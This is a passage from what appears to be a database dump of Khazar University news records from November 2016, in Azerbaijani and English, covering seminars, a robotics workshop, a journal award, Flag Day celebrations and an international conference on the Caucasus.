workshop, Mr. Ishigami demonstrated some advanced Humanoid Robotics\r\ntechnology.</p>\r\n<p>The Japanese scientist encouraged he students to learn new\r\ntechnology. At the moment Arduino-based Embedded systems are taught in Khazar\r\nUniversity in Basic Circuitry and Computer Network Classes.</p>'),(2569,1543,'en','Seminar on Psychological Preparation for Exams','On November 5, 2016, Khazar University Student Union organized a seminar to help students improve their exam performance on mid-terms. The seminar, entitled “Psychological...','<p>On November 5, 2016, Khazar\r\nUniversity Student Union organized a seminar to help students improve their\r\nexam performance on mid-terms. The seminar, entitled “Psychological\r\nPreparedness for Examinations,” was led by Elnur Rustamov, Director of the\r\nPsychology and Consultation Center and well-known psychologist. </p>\r\n<p>The seminar included information\r\non time management during exams, correcting one’s attention, motivation,\r\ncalming nerves, stress, depression, and neurotic anxiety disorders. </p>\r\n<p>E. Rustamov noted that it was a\r\ngreat pleasure for him to lead a seminar for Khazar University students. He\r\nplans to organize similar events in the future. </p>\r\n<p>Around 35 students participated in\r\nthe event.&nbsp;</p>'),(2570,1544,'en','“Know Your Rights!” Seminar','On November 5, 2016, a seminar for students of Khazar and other universities entitled “Know your rights, now!” was held with the support of the Khazar University Student Union and...','<p>On November 5, 2016, a seminar\r\nfor students of Khazar and other universities entitled “Know your rights, now!”\r\nwas held with the support of the Khazar University Student Union and\r\nAEGEE-Baku, the Baku representation of European Students’ Forum. The five-hour\r\nseminar was led by Nijat Mammadov, European Students’ Forum Baku Legal Working\r\nGroup Coordinator, and trainer Khayyam Namazov. Students were given useful\r\ninformation about legal issues and general human rights. </p>\r\n<p>The Student Union has announced\r\nthat AEGEE-Baku will continue the training in the coming weeks.&nbsp;</p>'),(2571,1548,'az','Dünya Robot Olimpiadası haqqında məlumat','2016-cı il noyabrın 8-də Gənclər və İdman Nazirliyinin bir qrup əməkdaşı Xəzər Universitetində Dünya Robot Olimpiadasına hazırlıq üzrə təqdimat keçirdi. Elektronika departamentinin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il noyabrın 8-də Gənclər və İdman Nazirliyinin bir qrup əməkdaşı\r\nXəzər Universitetində Dünya Robot Olimpiadasına hazırlıq üzrə təqdimat keçirdi.\r\nElektronika departamentinin müdiri Nuru Səfərov təqdimatı giriş sözü ilə\r\naçaraq, görüşün əhəmiyyətindən danışdı. Nazirlik əməkdaşları çıxış edərək,\r\nbildirmişdir ki, olimpiadaların keçirilməsində&nbsp; məqsəd gənclərin İKT və\r\nelmi biliklərinin inkişafına dəstək vermək, yaradıcılıq potensialını üzə\r\nçıxarmaq və ətrafda mövcud olan problemlərin “robotik” həllərini tapmağa sövq\r\netməkdir.</p>'),(2572,1548,'en','World Robot Olympiad Meeting','On November 8, 2016, a group of employees of the Ministry of Youth and Sports gave a presentation with preliminary information about the World Robot Olympiad to be held at Khazar...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On November 8, 2016, a group of\r\nemployees of the Ministry of Youth and Sports gave a presentation with\r\npreliminary information about the World Robot Olympiad to be held at Khazar\r\nUniversity. Dr. Nuru Safarov, Head of the Department of Electronics, Telecommunications\r\nand Radio Engineering, opened the meeting and spoke about its significance.\r\nThen the Ministry representatives made speeches noting that the objective of\r\nthe Olympiad is to support the development of young people in the field of ICT,\r\nhelp them discover their creative potential and teach them to find robotic\r\nsolutions to problems they encounter.&nbsp;</p>'),(2573,1547,'en','Research Seminar/ Journal Club Meeting','The next routine meeting of the Khazar University Research Seminar/ Journal Club will take place on November 14, 2016 at 16:00 in room 314A (old building).The meeting agenda includes the following...','<p>The next routine meeting of the Khazar\r\nUniversity Research Seminar/ Journal Club will take place on November 14, 2016\r\nat 16:00 in room 314A (old building). </p>\r\n<p>The meeting agenda includes the\r\nfollowing: </p>\r\n<p><strong>1.</strong><strong>Saida\r\nOrujova: </strong>Performing Searches using Electronic Resources Khazar University\r\nSubscribes to; </p>\r\n<p><strong>2.</strong><strong>Parvana\r\nBakhshaliyeva:</strong> Analysis and evaluation of research results of the article\r\n“Genetic Characteristics of Phenylketonuria among Newborns;”</p>\r\n<p><strong>3.</strong><strong>Irada\r\nKhalilova:</strong> Presentation and evaluation of research results of the article\r\n“Oxidized glutathione and uric acid as biomarkers of early cystic fibrosis lung\r\ndisease” which was accepted to&nbsp;European Journal of&nbsp;   <em>Cystic Fibrosis</em>&nbsp;on October\r\n26; </p>\r\n<p><strong>4.</strong><strong>Other\r\nissues.</strong> </p>\r\n<p>Everyone\r\nis welcome to attend.&nbsp;</p>'),(2575,1550,'az','“Xəzər Humanitar və Sosial Elmlər” (Khazar Journal of Humanities and Social Sciences) jurnalı beynəlxalq mükafata layiq görüldü','2016-cı il noyabrın 8-də Azərbaycan Respublikasının Prezidenti yanında Elmin İnkişafı Fondunun və dünyanın tanınmış akademik nəşriyyatlarından olan “Thomson Reuters” şirkətinin...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"=\"\">2016-cı il noyabrın 8-də Azərbaycan Respublikasının Prezidenti yanında\r\nElmin İnkişafı Fondunun və dünyanın tanınmış akademik nəşriyyatlarından olan\r\n“Thomson Reuters” şirkətinin birgə təşkilatçılığı ilə Azərbaycan elmi\r\nictimaiyyəti üçün nəzərdə tutulan “Web of Science-2016” mükafatlarının\r\ntəqdimetmə mərasimi keçirildi. Xəzər Universitetini bu tədbirdə universitetin İdarəetmə\r\nvə tələbə işləri üzrə prorektoru İsaxan İsaxanlı və “Xəzər Humanitar və Sosial\r\nElmlər” (<em>Khazar Journal of Humanities and\r\nSocial Sciences</em>) jurnalının redaktor müavini Xəyalə Məmmədova təmsil\r\nedirdilər.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"=\"\">Mükafatçıların\r\nsiyahısı təbiət elmləri, sosial və humanitar elmlər sahəsində elmin aparıcı\r\nplatforması olan “Web of Science” bazasının əsasında tərtib edilmişdir. Analiz\r\n“Thomson Reuters” və Elmin İnkişafı Fondu ilə əməkdaşlıq edən elmi tədqiqatlar\r\nvə əqli mülkiyyət bölməsindən olan ekspertlər tərəfindən aparılmışdır.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"=\"\">“Thomson\r\nReuters” şirkətinin elmi tədqiqatlar və əqli mülkiyyət departamentinin\r\ndirektoru Oleq Utkin Bakıda elmi ictimaiyyətin nümayəndələri ilə keçirilən\r\ngörüşün təmsil etdiyi qurum üçün böyük əhəmiyyət daşıdığını söylədi. O,\r\ntədbirin təşkilinə dəstək göstərən hər kəsə “Thomson Reuters” şirkəti adından\r\nminnətdarlığını bildirdi.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"=\"\">O.Utkin: “Bu,\r\nAzərbaycanın elmi təşkilatları, elm xadimləri ilə keçirdiyimiz ilk tədbirdir.\r\nBelə görüşlərin davamlı olacağına ümid edirik. Azərbaycanın elm adamlarının\r\n“Thomson Reuters”-in resurslarına yol tapması bizim üçün çox vacibdir. Bu\r\nresursların sizə müxtəlif istiqamətlərdə xidmət edəcəyinə ümidvarıq”.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"=\"\">Təhsil\r\nnazirinin müavini Ceyhun Bayramov Azərbaycanda elmin, təhsilin inkişafından, bu\r\nistiqamətdə aparılan islahatlardan, həyata keçirilən tədbirlərdən söz açdı.\r\nAzərbaycan alimlərinin uğurlarından danışan nazir müavini son illər elm\r\nadamlarımızın reytinqinin yüksəldiyini, onların elmi məqalələrinə 1500-dən çox\r\nistinadın olduğunu diqqətə çatdırdı. Dünya elminə inteqrasiya üçün xarici dil\r\nbilməyin əhəmiyyətini qeyd edən C.Bayramov Azərbaycan dilində tədris olunan\r\nixtisaslar üzrə xarici dillərin tədrisi, eyni zamanda, xarici dillərdə bir sıra\r\nixtisaslaşmalarda tədrisin təşkili məsələsinin daim diqqət mərkəzində olduğunu\r\nsöylədi. Bu istiqamətdə aparılan işlərin prioritet istiqaməti olaraq qarşıya\r\nqoyuan mühüm hədəf kimi bütün ali təhsil müəssisələrinin laboratoriya\r\nbazalarının yenilənməsini, müxtəlif ixtisas və ixtisaslaşmalar üzrə\r\ntədqiqatların aparılması üçün müasir laboratoriyalarla təchiz edilməsi\r\nsəviyyəsinin yaxsılaşdırılmasının vacib məsələ olduğunu qeyd etdi. O, bu sahədə\r\nali məktəblərin, AMEA-nın institutlarının və bir sıra sənaye müəssisələrinin\r\nbirgə fəaliyyəti nəticəsində qısa vaxtda yüksək nəticələr əldə edilə biləcəyini\r\nvurğuladı. C.Bayramov yaxın vaxtlarda həmkar təşkilatlara bu istiqamətdə bir\r\nsıra təkliflər təqdim ediləcəyini və bunun ümumi işə çox müsbət təsir göstərəcəyini\r\ndedi.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"=\"\">Azərbaycan\r\nMilli Elmlər Akademiyasının (AMEA) vitse-prezidenti, akademik İbrahim Quliyev\r\nAMEA ilə “Thomson Reuters” şirkətinin əməkdaşlığından, alimlərimizin\r\nməqalələrinin impakt faktorlu beynəlxalq jurnallarda dərc olunmasından və bu\r\nyazılara istinadların ildən-ilə çoxalmasından danışdı. Jurnal redaktorları üçün\r\nkeçiriləcək seminarın əhəmiyyətini qeyd edən akademik ölkədə nəşr olunan\r\nbeynəlxalq elmi jurnalların sayının artacağına əminliyini bildirdi.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"=\"\">Sonra\r\nbeynəlxalq meyarlar əsas götürülməklə, ən məhsuldar qurum, nüfuzlu elmi jurnal\r\nvə alimlər mükafatlandırıldılar.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"=\"\">“Thomson\r\nReuters” şirkəti və Azərbaycan Respublikasının Prezidenti yanında Elmin\r\nİnkişafı Fondu nominasiyalar üzrə mükafatları sahiblərinə təqdim etdilər. Xəzər\r\nUniversitetində nəşri olunan “Xəzər Humanitar və Sosial Elmlər jurnalı” (<em>Khazar Journal of Humanities and Social\r\nSciences</em>) “Yeni elm şəbəkəsi (<em>Web of Science</em>) jurnalı” nominasiyası üzrə qalib mükafata layiq görüldü.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"=\"\">Elmin İnkişaf\r\nfondunun icraçı direktoru mükafata layiq görülənləri təbrik etdi, onlara\r\nAzərbaycan elminin inkişafı sahəsində fəaliyyətlərində uğurlar arzulayaraq, bu\r\nistiqamətdə daha böyük nailiyyətlərin əldə olunacağına əminliyini bildirdi.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"=\"\">Mükafatlandırma\r\nmərasimindən sonra Azərbaycanda nəşr olunan elmi jurnalların redaktor və\r\nredaktor müavinləri üçün “Thomson Reuters” və Elmin İnkişafı Fondunun birgə\r\ntəşkilatçılığı ilə elm və əqli mülkiyyət üzrə aparıcı mütəxəssislər tərəfindən\r\n“Azərbaycanın elmi jurnalları: beynəlxalq səviyyəyə doğru irəliləyiş” mövzusunda\r\nseminar-təlim keçirildi. Tədbirdə uğurlu, müasir beynəlxalq səviyyəli elmi\r\njurnalın formalaşdırılması, inkişaf etmiş ölkələrdə elmi nəşrin beynəlxalq\r\nsəviyyədə tanıdılması, elmi əsərlərin keyfiyyətinin artırılması, elmi\r\njurnalların və əsərlərin beynəlxalq referativ bazalarda istinadların maksimuma\r\nçatdırılması ilə bağlı diskussiyalar aparıldı.&nbsp;</p>'),(2576,1551,'az','“Dünya” məktəbində Dövlət Bayrağı Günü təntənə ilə qeyd olundu','2016-cı il noyabrın 8-də “Dünya” məktəbinin müəllim və şagird kollektivi böyük ruh yüksəkliyi, vətənpərvərlik duyğusu ilə Dövlət Bayrağı Gününü qeyd etdilər...','<p style=\"text-align: center;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:274.5pt;text-indent:.25in;background:white\"\"=\"\"><em>“</em><em>Bayraqları\r\nbayraq edən üstündəki qandır,</em></p>\r\n<p style=\"text-align: center;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:274.5pt;text-indent:.25in;background:white\"\"=\"\"><em>Torpaq\r\nəgər üstündə ölən varsa, Vətəndir!”</em></p><p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2016-cı il noyabrın 8-də “Dünya” məktəbinin\r\nmüəllim və şagird kollektivi böyük ruh yüksəkliyi, vətənpərvərlik duyğusu ilə\r\nDövlət Bayrağı Gününü qeyd etdilər.&nbsp;</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Məktəbin tarix fənni müəllimi Lamiyə\r\nMədətli zamanın ağır sınaqlarından çıxmış bayrağımızın tarixindən söz açdı.\r\nÜçrəngli bayrağın rəmzləri, rəngləri, keçdiyi kəşməkəşli, şərəfli yoldan\r\ndanışan çıxışçı bildirdi ki, bayrağımız şərəfimiz, adımız və yurdumuza,\r\ntorpaqlarımıza sahibliyimizin rəmzidir.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Sonra “Dünya” məktəbinin səhnəsində\r\nböyük bəstəkar Fikrət Əmirovun “Qarabağ” musiqisi də ifa olundu,<br>\r\nmüqəddəs bayrağımıza həsr olunan şeirlər səsləndirildi.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Balacalar tərəfindən ifa olunan milli\r\nrəqs hər kəsdə şən əhval ruhiyyə yaratmaqla bərabər, həm də milliliyimizə,\r\nənənələrimizə bağlılığımızı bir daha xatırlatdı.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">&nbsp;Şagirdlər həyəcanlı idilər. Çünki himnin sədaları altında tədbirə\r\nbaşlamaq, bayrağa, vətənə, xalqa olan dərin məhəbbəti, sevgini həyəcansız ifadə\r\netmək olmur.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Azərbaycan Xalq Cümhuriyyətinin yadigarı\r\nolan bu bayraq bizim azadlıq məfkurəmiz, arzu və idealımızdır.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Qeyd edək ki, Azərbaycan Respublikası üzərində dalğalanan müqəddəs dövlət\r\nbayrağımız ilk dəfə 1918-ci il noyabrın 9-da Bakıda Azərbaycan Xalq\r\nCümhuriyyəti Nazirlər Şurasının yerləşdiyi binada qəbul edilmiş və\r\nqaldırılmışdır.&nbsp;Müstəqil Azərbaycanın dövlət bayrağındakı üç rəngin ifadə\r\netdiyi və XX əsrin əvvəllərindəki milli istiqlal ideologiyamızın üç təməl\r\nprinsipini təşkil edən “Türkçülük, islamçılıq və müasirlik” düsturunun müəllifi\r\ngörkəmli Azərbaycan mütəfəkkiri Əli bəy Hüseynzadədir.&nbsp;</p>'),(2577,1552,'az','“Praktiki mühəndislik və liderlik proqramı” çərçivəsində tədbir keçirildi','2016-cı il noyabrın 8-də “Dünya” məktəbində “Praktiki mühəndislik və liderlik proqramı” çərçivəsində tədbir keçirildi. Tədbirdə məktəbin şagirdləri, müəllimləri və valideynlər iştirak...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il noyabrın 8-də “Dünya” məktəbində “Praktiki mühəndislik və liderlik\r\nproqramı” çərçivəsində tədbir keçirildi. Tədbirdə məktəbin\r\nşagirdləri, müəllimləri və valideynlər iştirak edirdilər.&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">“Help”\r\ntədris metodiki proqramı mentor-təlimçi indeksli olub, qarşıya qoyulan problemlərin həlli yolunu axtarmağa, kəşf etməyə, ixtira ortaya qoymağa və davamlı olaraq problemlərdən çıxış\r\nyolu axtarmağayönəldilmiş elmi, praktiki, mühəndislik,\r\nliderlik və robotexnika proqramıdır.&nbsp;<br>\r\nProqram 5-11, 11-15, 11-18 yaşlı şagirdlər üçün\r\nnəzərdə tutulur.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Bu\r\nproqram Amerikada, Yaponiyada, eləcə də,\r\nAzərbaycanın Xəzər Universiteti, Bakı Ali Neft Məktəbi kimi təhsil müəssisələrində\r\ntədris olunur.</p>'),(2578,1553,'az','232 saylı tam orta məktəbdə görüş keçirildi','2016-cı il noyabrın 8-də Xəzər Universitetinin İdarəetmə və tələbə işləri üzrə prorektoru İsaxan İsaxanlı Bakı şəhəri Suraxanı rayonu 232 nömrəli tam orta məktəbində 9 Noyabr...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il noyabrın 8-də<strong> </strong>Xəzər Universitetinin İdarəetmə və tələbə işləri\r\nüzrə prorektoru İsaxan İsaxanlı Bakı\r\nşəhəri Suraxanı rayonu 232 nömrəli tam orta məktəbində 9 Noyabr – Dövlət\r\nBayrağı Günü münasibətilə keçirilən tədbirdə iştirak etmişdir. Tədbir “Bayrağım\r\nqürurumdur” mövzusunda inşa müsabiqəsi və “Ucal, mənim üçrəngli bayrağım!” adlı\r\nrəsm müsabiqəsi qaliblərinin mükafatlandırılmasına həsr olunmuşdur. Müsabiqədə\r\nfərqlənən məktəblilərə diplomları İsaxan İsaxanlı təqdim etmişdir.&nbsp;</p>'),(2579,1550,'en','Khazar Journal of Humanities and Social Sciences Receives International Award','On November 8, 2016, the Web of Science 2016 Awards Ceremony for the Azerbaijani scientific community was held with the joint coordination of the Science Development Foundation...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"=\"\">On November 8, 2016, the\r\nWeb of Science 2016 Awards Ceremony for the Azerbaijani scientific community\r\nwas held with the joint coordination of the Science Development Foundation of\r\nthe President of the Azerbaijan Republic and Thomson Reuters. Khazar University\r\nwas represented at the event by Dr. Isakhan Isakhanli, Vice President for\r\nAdministration and Student Affairs, and Khayala Mammadova, Assistant Editor of\r\nKhazar Journal of Humanities and Social Sciences. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"=\"\">The list of award winners\r\nwas determined based on Web of Science, the leading platform in natural\r\nsciences, social sciences and humanities. Analysis was performed by experts in\r\nscientific research and intellectual property from Thomson Reuters and the\r\nScience Development Foundation. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"=\"\">Awards were presented by\r\nrepresentatives from Thomson Reuters and the Science Development Foundation.\r\nThe Khazar Journal of Humanities and Social Sciences published by Khazar\r\nUniversity won an award for the category of “New Web of Science Journal.” </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"=\"\">The Executive Director of\r\nthe Science Development Foundation congratulated all the winners and wished\r\nthem success in their endeavors towards the development of science in\r\nAzerbaijan. He noted that he was confident that these journals would achieve\r\neven greater accomplishments in this field in the future.&nbsp;</p>'),(2580,1551,'en','National Flag Day Celebration at Dunya School ','On November 8, 2016, National Flag Day was celebrated enthusiastically by teachers and students at Khazar University’s affiliate Dunya School...','<p style=\"text-align: center;\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;background:white\"\"=\"\"><em>“What makes a flag a flag is the blood spilled for it… if\r\npeople&nbsp;</em></p><p style=\"text-align: center;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:274.5pt;text-indent:.25in;background:white\"\"=\"\"><em>die for a land, that makes it a homeland!”</em></p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">On\r\nNovember 8, 2016, National Flag Day was celebrated enthusiastically by teachers\r\nand students at Khazar University’s affiliate Dunya School. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Lamiya\r\nMadatli, history instructor at the school, opened the event by talking about\r\nthe history of our flag, including its three colors, symbols, and honorable\r\nhistory. She noted that the flag is the symbol of our honor, our name, our\r\nhomeland and our territory. Then the song “Karabakh” by Fikret Amirov was\r\nperformed and poetry about the flag was recited. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Students\r\nperformed national dances which reminded the audience about our deep ties to\r\nour nationality and traditions. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">The\r\nmodern flag, which is left over from the Azerbaijan Democratic Republic,\r\nrepresents our freedom and our ideals. </p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">We\r\nnote that the sacred national flag that flies over the Azerbaijan Republic was\r\nmade official for the first time on November 9, 1918 in the building of the\r\nCabinet of Ministers of the Azerbaijan Democratic Republic. Great Azerbaijani\r\nthinker Ali Bey Huseynzade was the author of the slogan “Turkism, Islamism and\r\nModernism\" and the principle of a three-colored flag to represent our\r\nnational ideology in the beginning of the 20<sup>th</sup> century.&nbsp;</p>'),(2583,1554,'az','“Xəzər”in əməkdaşının məqaləsi çap olundu','2016-cı il noyabrın 11-də Azərbaycan dili və ədəbiyyat departamentinin müəllimi dosent Elmira Məmmədova-Kekeçin “Kaygusuz Abdalın “Vücudnamə” risaləsində varlıq və yaradılış...','<p>2016-cı il noyabrın 11-də Azərbaycan dili və ədəbiyyat\r\ndepartamentinin müəllimi dosent Elmira Məmmədova-Kekeçin&nbsp;“Kaygusuz Abdalın\r\n“Vücudnamə” risaləsində varlıq və yaradılış problemində Sufi azadlığı” (“<strong><em>Sufi release of being and creation problem\r\nin Kaykisiz Abdal\'s tractate “Vudjudname</em>”) </strong>adlı məqaləsi<strong> </strong>Qafqaz Universitetinin Fəlsəfə və pedaqogika\r\nbeynəlxalq elmi jurnalında çapdan çıxmışdır. Jurnal elektron kitab şəklində çap\r\nolunub.&nbsp;<strong><a href=\"/files/pdf/events/Filologiya_Volume4_Number1_2016_1.pdf\">Journal of&nbsp;Qafqaz University&nbsp;Philology and Pedagogy</a></strong>  </p>  <p><br></p>'),(2584,1555,'az','Xəzər Universitetində beynəlxalq elmi konfrans keçirildi','2016-cı il noyabrın 7-dən 9-dək Xəzər Universitetində Xəzər Universiteti ilə Fransanın Milli Elmi Tədqiqarlar Mərkəzinin (CNRS) nəzdində fəqliyyət göstərən “Labex Transfers” elmi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il noyabrın 7-dən 9-dək Xəzər\r\nUniversitetində Xəzər Universiteti ilə Fransanın Milli Elmi Tədqiqarlar Mərkəzinin\r\n(CNRS) nəzdində fəqliyyət göstərən “Labex Transfers” elmi qurumunun təşkilatçılığı\r\nilə “Qafqazda görüşlər və qarşılıqlı təsirlər. Mədəniyyətlərarası əlaqələrin\r\nuzunmüddətli tarixi” adlı beynəlxalq elmi konfrans keçirildi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞirasının sədri professor Hamlet İsaxanlı giriş sözü ilə konfransı açıq elan\r\netdi. Konfransda Fransa, İsveçrə, Rusiya, Gürcüstan, Türkiyə və Azərbaycan\r\nalimləri Qafqazda tarix, arxeologiya, kulturologiya sahələrində baş verən mədəni\r\ntransfer prosesləri ilə əlaqədar məruzələrlə çıxış etdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Konfrans zamanı antik zamanlardan Sovet dövrünə qədər\r\nQafqaz regionunda baş verən mədəni transformasiyalar və qarşılıqlı mədəni təsirlərin\r\ndinamikası məsələləri müzakirə edildi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Konfrans iki hissəsədən ibarət idi: Birinci hissədə,\r\nnoyabrın 7-si və 8-də konfrans iştirakçıları elmi məruzələr oxudular və\r\nmövzular ətrafında müzakirələr apardılar. İkinci hissədə – noyabrın 9-da\r\nkonfrans iştirakçıları Azərbaycanın qədim məbədlərindən biri olan “Atəşgah məbədi”\r\nDövlət Tarix-Memarlıq Qoruğunda, Şəhidlər Xiyabanında və İşəri Şəhərdə oldular.\r\nGünün sonunda Xəzər Universitetinin şəhər mərkəzindəki kampusunda (Bəşir Səfəroğlu\r\nküç. 122) qonaqlar üçün təşkil olunan milli musiqidən və rəqslərdən ibarət\r\nkonsert təşkil olundu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Konfrans müxtəlif televiziya və xəbər agentləri tərəfindən\r\nişıqlandırıldı.</p>'),(2585,1554,'en','Khazar Instructor Publishes Article','On November 11, 2016, Associate Professor Elmira Mammadova-Kekechin, instructor of the Department of Azerbaijani Language and Literature, published an article on “Sufi release of being...','<p>On November 11,\r\n2016, Associate Professor Elmira Mammadova-Kekechin, instructor of the\r\nDepartment of Azerbaijani Language and Literature, published an article on\r\n“Sufi release of being and creation problem in Kaykisiz Abdal\'s tractate\r\n‘Vudjudname’” in Qafqaz University’s Philosophy and Pedagogy Journal. This\r\ninternational scholarly journal is published electronically.&nbsp;<strong><a href=\"http://www.khazar.org/files/pdf/events/Filologiya_Volume4_Number1_2016_1.pdf\">Journal of&nbsp;Qafqaz University&nbsp;Philology and Pedagogy</a></strong>  &nbsp;</p>'),(2586,1555,'en','Khazar University Hosts International Conference','On November 7-9, 2016, Khazar University and Labex TransferS in affiliation to the French National Research Center (CNRS) jointly organized an international conference on “Encounters...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On November 7-9, 2016, Khazar University\r\nand Labex TransferS in affiliation to the French National Research Center\r\n(CNRS) jointly organized an international conference on “Encounters and\r\nInterweavings in the Caucasus: a long-term history of cross-cultural transfers”\r\nwhich was held at Khazar University. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Professor Hamlet Isaxanli, the founder\r\nof Khazar University and Chairman of its Board of Directors and Trustees,\r\nopened the conference. Then presentations were made by scholars from French,\r\nSwitzerland, Russia, Georgia, Turkey and Azerbaijan about cultural transfer\r\nprocesses in the Caucasus in the fields of history, archeology, and cultural\r\nstudies. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The conference focused on the cultural\r\nhistory of the Caucasus or more precisely on the mixed forms generated by\r\ncultural encounters from Antiquity to the end of the Soviet Period.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The conference included two parts. The\r\nfirst was plenary sessions on November 7 and 8. The second part was a cultural\r\nprogram on November 9 in which visitors were given a tour of Ateshgah Temple\r\nNational History-Archeology Reserve, Martyrs’ Cemetery and the Old City. At the\r\nend of the day, a concert with musical and dance numbers was given in their\r\nhonor at the Khazar University downtown campus (122 Bashir Safaroghlu St.). </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">The conference was reported by multiple\r\nTV channels and news agencies.&nbsp;</p>'),(2619,1575,'az','Türkan Şoray Bakıdadır','2016-cı il noyabrın 17-də məşhur türk aktrisa Türkan Şoray Xəzər Universitetinin dəvətilə Azərbaycana gəlmişdir. Aktrisa ilə birgə məşhur fransalı aktyor, rejissor...','<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">2016-cı il noyabrın 17-də məşhur türk aktrisa Türkan Şoray Xəzər Universitetinin dəvətilə\r\nAzərbaycana gəlmişdir. Aktrisa ilə birgə məşhur fransalı aktyor, rejissor və\r\nssenarist Robert Hossein də paytaxtın qonağıdır.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Onlar Avrasiya Akademiyasının\r\nüzvlük diplomu və Avrasiya Akademiyasının “Avrasiya Əfsanəsi” mükafatına layiq\r\ngörülmüşlər.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Qeyd edək ki, Türkan Şoray Avrasiya\r\nAkademiyasına üzv seçilən və “Avrasiya Əfsanəsi” mükafatına layiq görülən ilk\r\nqadındır.</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Bu haqda media orqanları geniş\r\nməlumat yaymışdır:</p>\r\n<p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\"><a 